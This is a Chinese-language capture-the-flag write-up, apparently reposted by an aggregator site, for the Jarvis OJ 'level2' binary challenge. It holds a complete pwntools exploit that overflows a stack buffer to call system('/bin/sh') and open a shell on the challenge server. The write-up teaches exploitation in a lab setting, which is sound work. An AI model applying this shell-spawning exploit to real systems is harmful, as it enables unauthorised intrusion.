Jarvis OJ - [XMAN]level2 - Writeup
Posted M4x@10.0.0.55
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvis OJ - [XMAN]level2 - Writeup相关的知识,希望对你有一定的参考价值。
Jarvis OJ - [XMAN]level2 - Writeup
M4x原创,转载请标明出处http://www.cnblogs.com/WangAoBo/p/7622091.html
题目:
分析:
-
下载的文件先checksec检查保护机制
没有开栈保护和装载地址随机化
-
拖到IDA中查看,shift+F12搜索字符串,发现了/bin/sh
同时,在函数列表里也发现了system函数
这样我们就可以构造一个system("/bin/sh")的伪栈帧,通过控制vulnerable_function()返回到该伪栈帧,即可执行system("/bin/sh")来get shell
因为我们的目的只是为了通过system("/bin/sh")来get shell,所以伪栈帧中system的返回地址可以随便指定
步骤:
经过以上的分析直接放exp,关键的点都写在注释里了
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 __Auther__ = \'M4x\' 4 5 from pwn import * 6 context.log_level = \'debug\' 7 8 elf = ELF(\'./level2\') 9 sys_addr = elf.symbols[\'system\']#system函数地址 10 sh_addr = elf.search(\'/bin/sh\').next()#/bin/sh字符串地址 11 12 payload = \'a\' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定 13 # io = process(\'./level2\') 14 io = remote(\'pwn2.jarvisoj.com\', 9878) 15 io.sendlineafter("Input:\\n", payload) 16 17 io.interactive() 18 io.close()
此时程序的运行流程如下图:
结果:
运行即可达到flag
以上是关于Jarvis OJ - [XMAN]level2 - Writeup的主要内容,如果未能解决你的问题,请参考以下文章
[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup
Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出
Jarvis OJ - [XMAN]level1 - Writeup